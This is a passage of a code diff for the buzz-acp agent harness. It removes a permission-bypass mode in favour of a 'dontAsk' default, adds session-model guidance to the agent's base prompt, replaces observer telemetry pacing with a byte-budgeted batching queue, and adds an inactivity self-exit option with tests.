'{"jsonrpc":"2.0","id":1,"result":{"sessionId":"ses_claude","_receivedRequest":'"$REQ"'}}' + sleep 1 + "#; + let mut client = spawn_script(script).await; + client + .initialize() + .await + .expect("initialize should succeed"); + + let resp = client + .session_new_full( + "/tmp", + vec![], + Some(SystemPromptTransport::ClaudeMeta("Be concise")), + None, + ) + .await + .expect("session_new_full should succeed"); + + let received = &resp.raw["_receivedRequest"]; + assert!( + received["params"].get("systemPrompt").is_none(), + "bare systemPrompt must not be present for ClaudeMeta transport" + ); + assert_eq!( + received["params"]["_meta"]["systemPrompt"]["append"].as_str(), + Some("Be concise"), + "_meta.systemPrompt.append must carry the prompt text" + ); + } + + #[tokio::test] + async fn session_new_full_merges_claude_meta_and_session_title_into_single_meta_object() { + // Both ClaudeMeta prompt and session_title must coexist under _meta — + // the prompt must not clobber sessionTitle or vice versa. + let script = r#" + read -t 2 _init + echo '{"jsonrpc":"2.0","id":0,"result":{"protocolVersion":1,"agentCapabilities":{}}}' + read -t 2 REQ + echo '{"jsonrpc":"2.0","id":1,"result":{"sessionId":"ses_merged","_receivedRequest":'"$REQ"'}}' + sleep 1 + "#; + let mut client = spawn_script(script).await; + client + .initialize() + .await + .expect("initialize should succeed"); + + let resp = client + .session_new_full( + "/tmp", + vec![], + Some(SystemPromptTransport::ClaudeMeta("Be concise")), + Some("Fizz · #buzz-dev"), + ) + .await + .expect("session_new_full should succeed"); + + let received = &resp.raw["_receivedRequest"]; + assert_eq!( + received["params"]["_meta"]["systemPrompt"]["append"].as_str(), + Some("Be concise"), + "_meta.systemPrompt.append must be present" + ); + assert_eq!( + received["params"]["_meta"]["sessionTitle"].as_str(), + Some("Fizz · #buzz-dev"), + "_meta.sessionTitle must be present alongside systemPrompt" + ); + } + // ── Goose-native steer scaffold (PR follow-up to #1160) ────────────── /// Helper: spawn an inert `cat` subprocess so we have a real AcpClient diff --git a/crates/buzz-acp/src/base_prompt.md b/crates/buzz-acp/src/base_prompt.md index e360d24982..1d85221f11 100644 --- a/crates/buzz-acp/src/base_prompt.md +++ b/crates/buzz-acp/src/base_prompt.md @@ -1,5 +1,11 @@ You are operating inside the Buzz platform — a Nostr-based messaging platform for human-agent collaboration. The buzz-acp harness routes channel events to your session. +## Session Model + +You are one per-channel session of your agent identity — not the only copy. Each channel gets its own independent conversation context, and multiple sessions of the same agent may be active in different channels at the same time. Sessions share your core memory, your workspace on disk, and the relay. They do NOT share conversation context, in-progress reasoning, or in-context task state. + +When a human references work "you" are doing in another channel, that work belongs to a different session of you. Unless the human asks you to take it over or coordinate it from this channel, leave execution with the owning session — answer from what you can verify (core memory, workspace files, relay messages) and assume the owning session has it handled. + ## Buzz CLI The `buzz` CLI is your primary interface. Auth env vars: `BUZZ_RELAY_URL`, `BUZZ_PRIVATE_KEY`, `BUZZ_AUTH_TAG`. Exit codes: 0 ok, 1 user error, 2 network, 3 auth, 4 other. Output is structured JSON. @@ -17,6 +23,7 @@ The `buzz` CLI is your primary interface. Auth env vars: `BUZZ_RELAY_URL`, `BUZZ | `buzz feed` | `get` | | `buzz social` | `publish`, `notes` | | `buzz repos` | `create`, `get`, `list` | +| `buzz issues` | `create`, `get`, `list`, `status` | | `buzz pr` | `open`, `update`, `get`, `list`, `status` | | `buzz upload` | `file` | @@ -24,6 +31,8 @@ Run `buzz --help` or `buzz --help` for full usage. For multiline message When opening a pull request in response to channel work, always pass `--channel ` using the UUID from `[Context]`. This preserves a link from the pull request back to its originating conversation. +`buzz pr open`, `buzz issues create`, and `buzz repos create` return a `link` field (a `buzz://` deep link). When you announce that work in a channel message, include the `link` value verbatim — Buzz Desktop renders it as a rich preview card that opens the PR, issue, or repo in-app, the same way GitHub links render. Do not invent HTTPS web URLs for Buzz-hosted repos; the `link` field and the `clone` URL are the only shareable references. + ## Conversational Agent Creation When someone asks to create an agent, ask for at most two things: the agent's name and what it should do day-to-day. Turn the user's rough purpose into the `--system-prompt` yourself; do not separately ask for purpose, tone, constraints, access, runtime, provider, or model unless the user's request is genuinely ambiguous. diff --git a/crates/buzz-acp/src/config.rs b/crates/buzz-acp/src/config.rs index 29441857c9..34f2985c06 100644 --- a/crates/buzz-acp/src/config.rs +++ b/crates/buzz-acp/src/config.rs @@ -141,7 +141,6 @@ impl std::fmt::Display for DmPolicy { /// /// - `default` — agent's built-in behaviour (permission requests per tool call). /// - `acceptEdits` — auto-approve file edits, still ask for other tools. -/// - `bypassPermissions` — skip the permission flow entirely. /// - `dontAsk` — never prompt; reject anything that would require permission. /// - `plan` — planning-only mode (no tool execution). #[derive(Debug, Clone, Copy, PartialEq, clap::ValueEnum)] @@ -152,9 +151,6 @@ pub enum PermissionMode { /// Auto-approve file edits, still ask for other tools. #[value(alias = "acceptEdits")] AcceptEdits, - /// Skip the permission flow entirely. - #[value(alias = "bypassPermissions")] - BypassPermissions, /// Never prompt; reject anything that would require permission. #[value(alias = "dontAsk")] DontAsk, @@ -170,7 +166,6 @@ impl PermissionMode { match self { Self::Default => "default", Self::AcceptEdits => "acceptEdits", - Self::BypassPermissions => "bypassPermissions", Self::DontAsk => "dontAsk", Self::Plan => "plan", } @@ -480,13 +475,12 @@ pub struct CliArgs { /// Permission mode for agents that support `session/set_config_option` /// with `configId: "mode"` (e.g. `claude-agent-acp`). /// - /// Defaults to `bypassPermissions` which skips the per-tool-call - /// permission flow. Set to `default` to restore the agent's built-in - /// behaviour. + /// Defaults to `dontAsk`, which rejects operations that need interactive + /// approval because Buzz does not expose a human permission prompt. #[arg( long, env = "BUZZ_ACP_PERMISSION_MODE", - default_value = "bypass-permissions", + default_value = "dont-ask", value_enum )] pub permission_mode: PermissionMode, @@ -526,6 +520,11 @@ pub struct CliArgs { #[arg(long, env = "BUZZ_ACP_RELAY_OBSERVER", default_value_t = false)] pub relay_observer: bool, + /// Exit after this many seconds with no dispatched events and no turn in flight. + /// 0 disables inactivity self-termination. + #[arg(long, env = "BUZZ_ACP_EXIT_AFTER_INACTIVITY", default_value_t = 0)] + pub exit_after_inactivity: u64, + /// Connect and subscribe before starting the ACP/LLM subprocess pool. #[arg(long, env = "BUZZ_ACP_LAZY_POOL", default_value_t = false)] pub lazy_pool: bool, @@ -605,6 +604,8 @@ pub struct Config { pub has_generated_codex_config: bool, /// Whether to publish encrypted observer frames through the relay. pub relay_observer: bool, + /// Seconds without dispatched events before an idle harness exits. 0 = disabled. + pub exit_after_inactivity_secs: u64, /// Whether ACP/LLM subprocess initialization is deferred until accepted work arrives. pub lazy_pool: bool, /// Agent owner pubkey (hex). Used for `--respond-to=owner-only` gate. @@ -1170,6 +1171,7 @@ impl Config { persona_env_vars, has_generated_codex_config, relay_observer: args.relay_observer, + exit_after_inactivity_secs: args.exit_after_inactivity, lazy_pool: args.lazy_pool, agent_owner: args.agent_owner.map(|s| s.trim().to_ascii_lowercase()), no_base_prompt: args.no_base_prompt, @@ -1536,7 +1538,7 @@ mod tests { memory_enabled: true, model: None, session_title: None, - permission_mode: PermissionMode::BypassPermissions, + permission_mode: PermissionMode::DontAsk, respond_to: RespondTo::Anyone, dm_policy: DmPolicy::Anyone, respond_to_allowlist: HashSet::new(), @@ -1544,6 +1546,7 @@ mod tests { persona_env_vars: vec![], has_generated_codex_config: false, relay_observer: false, + exit_after_inactivity_secs: 0, lazy_pool: false, agent_owner: None, no_base_prompt: false, @@ -2243,6 +2246,22 @@ channels = "ALL" assert!(err.to_string().contains("turn liveness interval must be 0")); } + #[test] + fn inactivity_exit_defaults_disabled_and_accepts_cli_value() { + let key = "0".repeat(64); + let default = CliArgs::parse_from(["buzz-acp", "--private-key", &key]); + assert_eq!(default.exit_after_inactivity, 0); + + let configured = CliArgs::parse_from([ + "buzz-acp", + "--private-key", + &key, + "--exit-after-inactivity", + "120", + ]); + assert_eq!(configured.exit_after_inactivity, 120); + } + #[test] fn lazy_pool_defaults_off() { let key = "0".repeat(64); @@ -2321,10 +2340,6 @@ channels = "ALL" fn test_permission_mode_wire_strings() { assert_eq!(PermissionMode::Default.as_wire_str(), "default"); assert_eq!(PermissionMode::AcceptEdits.as_wire_str(), "acceptEdits"); - assert_eq!( - PermissionMode::BypassPermissions.as_wire_str(), - "bypassPermissions" - ); assert_eq!(PermissionMode::DontAsk.as_wire_str(), "dontAsk"); assert_eq!(PermissionMode::Plan.as_wire_str(), "plan"); } @@ -2332,7 +2347,6 @@ channels = "ALL" #[test] fn test_permission_mode_is_default() { assert!(PermissionMode::Default.is_default()); - assert!(!PermissionMode::BypassPermissions.is_default()); assert!(!PermissionMode::AcceptEdits.is_default()); assert!(!PermissionMode::DontAsk.is_default()); assert!(!PermissionMode::Plan.is_default()); @@ -2340,20 +2354,17 @@ channels = "ALL" #[test] fn test_permission_mode_display() { - assert_eq!( - format!("{}", PermissionMode::BypassPermissions), - "bypassPermissions" - ); + assert_eq!(format!("{}", PermissionMode::DontAsk), "dontAsk"); assert_eq!(format!("{}", PermissionMode::Default), "default"); } #[test] fn test_summary_includes_permission_mode() { let mut config = test_config(SubscribeMode::Mentions); - config.permission_mode = PermissionMode::BypassPermissions; + config.permission_mode = PermissionMode::DontAsk; let s = config.summary(); assert!( - s.contains("permission_mode=bypassPermissions"), + s.contains("permission_mode=dontAsk"), "summary should include permission_mode, got: {s}" ); } @@ -2370,9 +2381,9 @@ channels = "ALL" } #[test] - fn test_default_config_uses_bypass_permissions() { + fn test_default_config_rejects_interactive_permissions() { let config = test_config(SubscribeMode::Mentions); - assert_eq!(config.permission_mode, PermissionMode::BypassPermissions); + assert_eq!(config.permission_mode, PermissionMode::DontAsk); } #[test] @@ -2383,7 +2394,6 @@ channels = "ALL" let cases = [ ("default", PermissionMode::Default), ("accept-edits", PermissionMode::AcceptEdits), - ("bypass-permissions", PermissionMode::BypassPermissions), ("dont-ask", PermissionMode::DontAsk), ("plan", PermissionMode::Plan), ]; @@ -2398,14 +2408,12 @@ channels = "ALL" #[test] fn test_permission_mode_value_enum_camel_case_aliases() { - // Operators may set env vars using the camelCase wire-format strings - // (e.g. BUZZ_ACP_PERMISSION_MODE=bypassPermissions). The #[value(alias)] - // attributes ensure these parse correctly. + // Operators may set env vars using the camelCase wire-format strings. + // The #[value(alias)] attributes ensure these parse correctly. use clap::ValueEnum; let cases = [ ("default", PermissionMode::Default), ("acceptEdits", PermissionMode::AcceptEdits), - ("bypassPermissions", PermissionMode::BypassPermissions), ("dontAsk", PermissionMode::DontAsk), ("plan", PermissionMode::Plan), ]; @@ -2418,6 +2426,18 @@ channels = "ALL" } } + #[test] + fn test_permission_mode_rejects_unattended_bypass() { + use clap::ValueEnum; + + for input in ["bypass-permissions", "bypassPermissions"] { + assert!( + PermissionMode::from_str(input, true).is_err(), + "{input:?} must not disable the ACP permission boundary" + ); + } + } + /// Helper: resolve idle_timeout_secs using the same precedence logic as Config::from_args. /// Precedence: explicit --idle-timeout > --turn-timeout (deprecated) > `DEFAULT_IDLE_TIMEOUT_SECS`. fn resolve_idle_timeout(idle: Option, turn: Option) -> u64 { diff --git a/crates/buzz-acp/src/lib.rs b/crates/buzz-acp/src/lib.rs index 65a6972c0b..0950424138 100644 --- a/crates/buzz-acp/src/lib.rs +++ b/crates/buzz-acp/src/lib.rs @@ -416,50 +416,242 @@ async fn check_sibling_via_profile( false } -const OBSERVER_PUBLISH_INTERVAL: Duration = Duration::from_millis(167); -const OBSERVER_PUBLISH_LIMIT_PER_MINUTE: usize = 90; +/// Observer frames are published at a global rate of AT MOST ONE relay frame +/// per tick — not one per channel, and not one per drain. Everything that +/// accumulates between ticks waits in [`ObserverPublishQueue`] as events and +/// is packed greedily into that single frame. One update per second is smooth +/// enough for a human watching the session viewer, and the global budget is +/// what makes the relay cost model flat: observer frames bill the agent's +/// `LimitType::Messages` quota (`agent_standard_messages_per_min` = 120, +/// enforced in relay `connection.rs::enforce_ws_admission`), shared with the +/// agent's real chat messages. At 1 frame/s telemetry spends at most 60/min — +/// half that budget — regardless of how many channels are active. A slower +/// tick (e.g. 2s → 30/min) would leave more quota headroom for chat at the +/// price of doubled viewer latency; this constant is the knob. +const OBSERVER_PUBLISH_TICK: Duration = Duration::from_secs(1); + +/// Byte budget for EVERYTHING retained while awaiting a publish slot: the +/// event FIFO (serialized, post-`fit_observer_event_to_budget` bytes) PLUS +/// the chunk coalescer's pending buffer (serialized event skeletons + raw +/// accumulated text). Both stores count against this one cap — a +/// high-cardinality chunk flood (many distinct coalescer keys) is bounded +/// exactly like a plain event flood; neither buffer is a bypass around the +/// other. Lossless-ness is bounded by this budget: each publish slot packs +/// one ~64KB frame, gathered queue-wide for the front channel, so a single +/// channel drains at ~64KB/s and 4 MiB buys roughly **64 seconds** of +/// sustained over-production before the oldest items are dropped WITH +/// accounting (a warn carrying the dropped-event count). With C channels +/// producing concurrently the slots round-robin between them, so the +/// per-channel drain is ~64KB/Cs and the budget shortens accordingly — +/// still bytes-per-slot, never events-per-slot (see +/// [`ObserverPublishQueue::next_frame`]). Beyond-budget floods therefore +/// degrade to designed, visible loss — strictly better than the +/// pre-batching pacer's silent 90/min drop. +const OBSERVER_PENDING_QUEUE_MAX_BYTES: usize = 4 * 1024 * 1024; + +/// Observer event kind for a batch envelope wrapping multiple events. +/// +/// The payload is `{"events": [, ...]}` with every inner event +/// carrying its own `seq`/`timestamp`, so consumers process inner events +/// exactly as they would unbatched ones. Single pending events are published +/// unwrapped, so the envelope only appears when there is something to batch. +const OBSERVER_BATCH_KIND: &str = "batch"; -struct ObserverPublishPacer { - next_publish: tokio::time::Instant, - published: VecDeque, +/// Collects observer events awaiting a publish slot. +/// +/// Chunk-type events ride the [`ObserverChunkCoalescer`]; everything else is +/// appended in arrival order, force-flushing pending chunks first — the same +/// ordering rule the pre-batching publisher enforced, so merged chunk text can +/// never leapfrog a tool call that arrived mid-stream. +/// +/// Events wait here as EVENTS, not pre-sealed frames: each publish slot packs +/// one frame at publish time ([`Self::next_frame`]), so a backlog keeps +/// compacting into full frames instead of freezing into a frame queue. +/// +/// The queue is bounded by [`OBSERVER_PENDING_QUEUE_MAX_BYTES`]. When a +/// sustained flood outruns the one-frame-per-tick drain for longer than the +/// budget, the OLDEST events are dropped (the viewer wants recent state) with +/// accounting: a warning carrying the dropped-event count, and +/// `dropped_events` for tests. +#[derive(Default)] +struct ObserverPublishQueue { + coalescer: ObserverChunkCoalescer, + /// `(serialized_len, source_events, event)`, oldest first. Length is + /// captured at enqueue (post-fit) so byte accounting never re-serializes + /// on eviction; `source_events` is how many GENERATED observer events the + /// entry represents (a merged chunk carries every chunk it absorbed), so + /// eviction accounting stays in source units after flush. + events: VecDeque<(usize, u64, observer::ObserverEvent)>, + pending_bytes: usize, + /// SOURCE observer events lost to byte-budget eviction. Counted in + /// generated-event units, not retained entries: a coalesced entry that + /// merged N chunks accounts for N when evicted. A PUBLISHED merged entry + /// delivers all N sources' text in one event, so the invariant is + /// `ingested == dropped_events + Σ source_events over published events`. + dropped_events: u64, } -impl ObserverPublishPacer { - fn new() -> Self { - Self { - // No initial burst: even the first snapshot frame waits for its slot. - next_publish: tokio::time::Instant::now() + OBSERVER_PUBLISH_INTERVAL, - published: VecDeque::with_capacity(OBSERVER_PUBLISH_LIMIT_PER_MINUTE), +impl ObserverPublishQueue { + fn ingest(&mut self, event: observer::ObserverEvent) { + // ObserverChunkCoalescer::ingest returns immediately-publishable events + // (force-flushed pending chunks + non-chunk passthrough, or a pending + // set displaced by the 60KB pre-flush); they join the queue in the + // order the coalescer emitted them, each carrying the count of source + // events it represents. + for (source_events, ready) in self.coalescer.ingest(event) { + self.enqueue(source_events, ready); } + self.enforce_byte_budget(); } - async fn wait(&mut self) { - loop { - let now = tokio::time::Instant::now(); - while self - .published - .front() - .is_some_and(|sent| now.duration_since(*sent) >= Duration::from_secs(60)) - { - self.published.pop_front(); + fn enqueue(&mut self, source_events: u64, mut event: observer::ObserverEvent) { + // Pre-trim at enqueue so (a) byte accounting reflects what will ship + // and (b) one oversized leaf cannot force every frame it touches into + // whole-envelope elision downstream. + fit_observer_event_to_budget(&mut event); + let bytes = serialized_len(&event); + self.pending_bytes += bytes; + self.events.push_back((bytes, source_events, event)); + } + + /// Total bytes retained across BOTH stores — the event FIFO and the + /// coalescer's pending chunk buffer. The budget binds this sum; counting + /// only the FIFO would let a high-cardinality chunk flood (many distinct + /// coalescer keys, nothing ever flushing) grow unbounded outside the cap. + fn total_pending_bytes(&self) -> usize { + self.pending_bytes + self.coalescer.pending_bytes + } + + /// Enforce [`OBSERVER_PENDING_QUEUE_MAX_BYTES`] over the total, dropping + /// OLDEST items first with accounting in SOURCE-event units. Global age + /// order across the two stores is structural: every enqueue path flushes + /// the coalescer first, so every pending coalescer entry is strictly newer + /// than every queued event — eviction is queue front, then coalescer + /// front. The `> 1` guard never drops the sole remaining item (any single + /// fitted event or pre-flush-capped chunk entry is far under the budget). + fn enforce_byte_budget(&mut self) { + let mut dropped = 0u64; + while self.total_pending_bytes() > OBSERVER_PENDING_QUEUE_MAX_BYTES + && self.events.len() + self.coalescer.pending.len() > 1 + { + if let Some((bytes, source_events, _)) = self.events.pop_front() { + self.pending_bytes -= bytes; + dropped += source_events; + } else { + dropped += self.coalescer.drop_oldest().expect("guard ensures an item"); } + } + if dropped > 0 { + self.dropped_events += dropped; + tracing::warn!( + dropped, + total_dropped = self.dropped_events, + pending_bytes = self.total_pending_bytes(), + "observer publish queue over byte budget; dropped oldest events" + ); + } + } - let minute_slot = self.published.front().and_then(|sent| { - (self.published.len() >= OBSERVER_PUBLISH_LIMIT_PER_MINUTE) - .then_some(*sent + Duration::from_secs(60)) - }); - let publish_at = - minute_slot.map_or(self.next_publish, |slot| slot.max(self.next_publish)); - if publish_at > now { - tokio::time::sleep_until(publish_at).await; - continue; - } + /// True when nothing is waiting anywhere — the event queue AND the + /// coalescer's pending chunk buffer. + fn is_empty(&self) -> bool { + self.events.is_empty() && self.coalescer.pending.is_empty() + } - let published_at = tokio::time::Instant::now(); - self.published.push_back(published_at); - self.next_publish = published_at + OBSERVER_PUBLISH_INTERVAL; - return; + /// Pack and remove AT MOST ONE publishable frame: the front event's + /// channel, gathered queue-wide in FIFO order (packed greedily until + /// adding the next event would push the envelope over + /// `OBSERVER_MAX_PLAINTEXT_LEN`). Singletons ship unwrapped. + /// + /// Two invariants bound the gather: + /// - A frame never mixes channels (the desktop archive indexes a frame + /// under its decrypted top-level `channelId`), and events keep their + /// FIFO order *within* each channel. Cross-channel frame order MAY + /// differ from arrival order — the desktop tolerates that everywhere: + /// the transcript store sorts + rebuilds on out-of-order arrival, the + /// archive is per-channel by construction, and the turn store's + /// watermark is keyed per (agent, channel). + /// - A NULL-channel event is a BARRIER nothing gathers across: null-scope + /// events (`agent_panic`-class) can causally couple to any channel, so + /// their relative order against every channel is preserved exactly. + /// Null-channel events themselves ship only as their contiguous front + /// run. + /// + /// Gathering queue-wide (not just the front run) is what keeps the drain + /// rate in BYTES per slot rather than front-run-length events per slot: + /// with round-robin producers (channel A, B, A, B, ...) a front-run + /// packer degrades to ~1 event per slot regardless of size, silently + /// growing latency without ever tripping the byte budget. + /// + /// Pending coalesced chunks are flushed into the queue first, so a + /// publish slot never leaves merged chunk text stranded behind the tick. + fn next_frame(&mut self) -> Option { + for (source_events, ready) in self.coalescer.flush() { + self.enqueue(source_events, ready); } + let channel = self.events.front()?.2.channel_id.clone(); + + let mut picked: Vec = Vec::new(); + let mut kept: VecDeque<(usize, u64, observer::ObserverEvent)> = + VecDeque::with_capacity(self.events.len()); + let mut gathering = true; + while let Some((bytes, source_events, event)) = self.events.pop_front() { + if gathering && event.channel_id == channel { + picked.push(event); + if picked.len() > 1 + && serialized_len(&batch_envelope(&picked)) > OBSERVER_MAX_PLAINTEXT_LEN + { + // Frame full: the overflow event stays queued and leads + // its channel's next slot. + let event = picked.pop().expect("len > 1"); + kept.push_back((bytes, source_events, event)); + gathering = false; + } else { + self.pending_bytes -= bytes; + } + } else { + if gathering && (channel.is_none() || event.channel_id.is_none()) { + // Null-channel barrier (or, for a null-channel frame, the + // end of its contiguous front run): stop gathering. + gathering = false; + } + kept.push_back((bytes, source_events, event)); + } + } + self.events = kept; + Some(seal_batch(picked)) + } +} + +/// A single event ships unwrapped; two or more get the batch envelope. +fn seal_batch(mut events: Vec) -> observer::ObserverEvent { + if events.len() == 1 { + return events.pop().expect("len == 1"); + } + batch_envelope(&events) +} + +/// Build the batch envelope for a set of same-channel events. +/// +/// Envelope metadata mirrors the LAST inner event — the same convention the +/// chunk coalescer uses for merged chunks — so `(timestamp, seq)` ordering and +/// the desktop's latest-live-session tracking see the newest state. +fn batch_envelope(events: &[observer::ObserverEvent]) -> observer::ObserverEvent { + let last = events + .last() + .expect("batch envelope needs at least 1 event"); + observer::ObserverEvent { + seq: last.seq, + timestamp: last.timestamp.clone(), + kind: OBSERVER_BATCH_KIND.to_string(), + agent_index: last.agent_index, + channel_id: last.channel_id.clone(), + session_id: last.session_id.clone(), + turn_id: last.turn_id.clone(), + started_at: last.started_at.clone(), + payload: serde_json::json!({ + "events": serde_json::to_value(events).unwrap_or_default(), + }), } } @@ -500,29 +692,26 @@ async fn run_relay_observer_publisher( owner_pubkey_hex: String, owner_pubkey: PublicKey, ) { - let mut coalescer = ObserverChunkCoalescer::default(); - let mut pacer = ObserverPublishPacer::new(); + let mut queue = ObserverPublishQueue::default(); let max_snapshot_seq = snapshot.iter().map(|event| event.seq).max().unwrap_or(0); for event in snapshot { - for event in coalescer.ingest(event) { - publish_relay_observer_event( - &publisher, - &keys, - &agent_pubkey_hex, - &owner_pubkey_hex, - &owner_pubkey, - &mut pacer, - event, - ) - .await; - } + queue.ingest(event); } - let mut flush_interval = tokio::time::interval(std::time::Duration::from_millis(500)); - flush_interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip); + // Global pacer: AT MOST ONE relay frame per tick, no matter how many + // channels are active or how large the backlog is. `interval_at` starts + // the first tick a full period out, so a pre-loaded snapshot (up to the + // 1,000-event replay buffer on reconnect) cannot burst at t=0 — the old + // pacer's explicit "no initial burst" property, restored. + let mut publish_tick = tokio::time::interval_at( + tokio::time::Instant::now() + OBSERVER_PUBLISH_TICK, + OBSERVER_PUBLISH_TICK, + ); + publish_tick.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip); + let mut closed = false; loop { tokio::select! { - result = rx.recv() => { + result = rx.recv(), if !closed => { match result { Ok(event) => { // Skip live events already delivered via the snapshot @@ -530,41 +719,30 @@ async fn run_relay_observer_publisher( if event.seq <= max_snapshot_seq { continue; } - for event in coalescer.ingest(event) { - publish_relay_observer_event( - &publisher, &keys, &agent_pubkey_hex, - &owner_pubkey_hex, &owner_pubkey, &mut pacer, event, - ).await; - } + queue.ingest(event); } Err(tokio::sync::broadcast::error::RecvError::Lagged(count)) => { - for event in coalescer.flush() { - publish_relay_observer_event( - &publisher, &keys, &agent_pubkey_hex, - &owner_pubkey_hex, &owner_pubkey, &mut pacer, event, - ).await; - } tracing::warn!(dropped = count, "relay observer publisher lagged"); } Err(tokio::sync::broadcast::error::RecvError::Closed) => { - for event in coalescer.flush() { - publish_relay_observer_event( - &publisher, &keys, &agent_pubkey_hex, - &owner_pubkey_hex, &owner_pubkey, &mut pacer, event, - ).await; - } - break; + // Producer gone: stop selecting on the receiver and let + // the tick arm drain what remains — still one frame per + // tick. An unpaced final drain would be a burst bypass + // around everything the pacer exists to prevent. + closed = true; } } } - _ = flush_interval.tick() => { - // Periodic flush ensures live streaming even during continuous chunk delivery. - for event in coalescer.flush() { + _ = publish_tick.tick() => { + if let Some(frame) = queue.next_frame() { publish_relay_observer_event( &publisher, &keys, &agent_pubkey_hex, - &owner_pubkey_hex, &owner_pubkey, &mut pacer, event, + &owner_pubkey_hex, &owner_pubkey, frame, ).await; } + if closed && queue.is_empty() { + break; + } } } } @@ -573,12 +751,25 @@ async fn run_relay_observer_publisher( #[derive(Default)] struct ObserverChunkCoalescer { pending: Vec, + /// Approximate serialized bytes retained in `pending` (each entry's + /// serialized skeleton at creation plus appended chunk text). Counted + /// against [`OBSERVER_PENDING_QUEUE_MAX_BYTES`] by the owning + /// [`ObserverPublishQueue`] so this buffer can never grow outside the + /// queue's byte budget (a distinct-key chunk flood parks everything here + /// and nothing would otherwise bound it). + pending_bytes: usize, } struct PendingObserverChunk { key: ObserverChunkKey, event: observer::ObserverEvent, text: String, + /// Bytes this entry contributes to `pending_bytes`. + bytes: usize, + /// GENERATED observer events merged into this entry (1 at creation, +1 + /// per absorbed chunk). Evicting the entry loses this many source events, + /// so drop accounting must charge this count, not 1. + source_events: u64, } #[derive(Debug, Clone, PartialEq, Eq)] @@ -599,10 +790,13 @@ struct ObserverChunkKey { const OBSERVER_CHUNK_MAX_TEXT_BYTES: usize = 60_000; impl ObserverChunkCoalescer { - fn ingest(&mut self, event: observer::ObserverEvent) -> Vec { + /// Returns immediately-publishable events, each paired with the number of + /// SOURCE observer events it represents (merged chunks carry the count of + /// every chunk they absorbed; passthrough events are always 1). + fn ingest(&mut self, event: observer::ObserverEvent) -> Vec<(u64, observer::ObserverEvent)> { let Some((key, text)) = observer_chunk_key_and_text(&event) else { let mut events = self.flush(); - events.push(event); + events.push((1, event)); return events; }; @@ -611,25 +805,64 @@ impl ObserverChunkCoalescer { if pending.text.len() + text.len() >= OBSERVER_CHUNK_MAX_TEXT_BYTES { let events = self.flush(); // Start a new pending entry with the current chunk. - self.pending.push(PendingObserverChunk { key, event, text }); + self.push_pending(key, event, text); return events; } pending.text.push_str(&text); + pending.bytes += text.len(); + pending.source_events += 1; + self.pending_bytes += text.len(); pending.event.seq = event.seq; pending.event.timestamp = event.timestamp; return Vec::new(); } - self.pending.push(PendingObserverChunk { key, event, text }); + self.push_pending(key, event, text); Vec::new() } - fn flush(&mut self) -> Vec { + fn push_pending( + &mut self, + key: ObserverChunkKey, + event: observer::ObserverEvent, + text: String, + ) { + // The entry RETAINS the first chunk's text twice until flush: once + // inside the serialized skeleton (`event.payload` still carries it) + // and once as the extracted `text` copy that appends grow. Both are + // real memory, so both count — charging only `serialized_len` lets a + // high-cardinality flood retain up to 2x the byte budget (each entry + // undercounts by exactly its first chunk's length). + let bytes = serialized_len(&event) + text.len(); + self.pending_bytes += bytes; + self.pending.push(PendingObserverChunk { + key, + event, + text, + bytes, + source_events: 1, + }); + } + + /// Evict the OLDEST pending entry for byte-budget enforcement. Returns + /// the number of SOURCE events the entry represented (its merged chunk + /// count), or `None` when there is nothing to drop. + fn drop_oldest(&mut self) -> Option { + if self.pending.is_empty() { + return None; + } + let removed = self.pending.remove(0); + self.pending_bytes -= removed.bytes; + Some(removed.source_events) + } + + fn flush(&mut self) -> Vec<(u64, observer::ObserverEvent)> { + self.pending_bytes = 0; self.pending .drain(..) .map(|mut pending| { set_observer_chunk_text(&mut pending.event.payload, pending.text); - pending.event + (pending.source_events, pending.event) }) .collect() } @@ -848,10 +1081,8 @@ async fn publish_relay_observer_event( agent_pubkey_hex: &str, owner_pubkey_hex: &str, owner_pubkey: &PublicKey, - pacer: &mut ObserverPublishPacer, mut event: observer::ObserverEvent, ) { - pacer.wait().await; // Trim oversized frames to fit the plaintext cap rather than letting // encrypt_observer_payload reject and drop them whole (silent telemetry loss). fit_observer_event_to_budget(&mut event); @@ -1283,6 +1514,59 @@ impl Drop for RespawnGuard { // sync entry point — `std::env::set_var` is only safe before tokio spawns // worker threads (Rust 2024 edition safety requirement). +fn inactivity_expired( + last_activity: tokio::time::Instant, + now: tokio::time::Instant, + bound: Duration, + turn_in_flight: bool, +) -> bool { + !bound.is_zero() && !turn_in_flight && now.duration_since(last_activity) >= bound +} + +#[cfg(test)] +mod inactivity_tests { + use super::*; + + #[test] + fn zero_disables_expiry_and_in_flight_turns_defer_it() { + let started = tokio::time::Instant::now(); + let after_bound = started + Duration::from_secs(61); + + assert!(!inactivity_expired( + started, + after_bound, + Duration::ZERO, + false + )); + assert!(!inactivity_expired( + started, + after_bound, + Duration::from_secs(60), + true + )); + assert!(inactivity_expired( + started, + after_bound, + Duration::from_secs(60), + false + )); + } + + #[test] + fn dispatched_activity_restarts_the_inactivity_bound() { + let started = tokio::time::Instant::now(); + let dispatched = started + Duration::from_secs(50); + let checked = started + Duration::from_secs(61); + + assert!(!inactivity_expired( + dispatched, + checked, + Duration::from_secs(60), + false + )); + } +} + pub fn run() -> Result<()> { config::propagate_legacy_env_vars(); tokio_main() @@ -1655,6 +1939,21 @@ async fn tokio_main() -> Result<()> { let mut typing_channels: HashMap = HashMap::new(); let mut presence_task: Option> = None; + // Independent of pool readiness: a never-mentioned lazy agent must still + // self-terminate. The watch interval is capped so small configured bounds + // remain reasonably precise without waking long-lived agents frequently. + let inactivity_bound = Duration::from_secs(config.exit_after_inactivity_secs); + let mut last_activity = tokio::time::Instant::now(); + let mut inactivity_reaper = if inactivity_bound.is_zero() { + None + } else { + let interval = inactivity_bound.min(Duration::from_secs(30)); + Some(tokio::time::interval_at( + tokio::time::Instant::now() + interval, + interval, + )) + }; + // Runs at the TOP of every loop iteration via Instant check — cannot be // starved by the biased select. Slot refill spawns background tasks so // spawn_and_init never blocks the main loop. @@ -1828,7 +2127,9 @@ async fn tokio_main() -> Result<()> { // called on relay events or pool results, neither of which // arrive when the channel is silent. if queue.has_flushable_work() { - for (channel_id, thread_tags) in dispatch_pending(&mut pool, &mut queue, &ctx) { + for (channel_id, thread_tags) in + dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity) + { typing_channels.insert(channel_id, thread_tags); } } @@ -1864,7 +2165,9 @@ async fn tokio_main() -> Result<()> { // this, batches requeued during crash recovery sit idle until the // next relay event arrives — which can be minutes on quiet channels. if respawn_collected { - for (channel_id, thread_tags) in dispatch_pending(&mut pool, &mut queue, 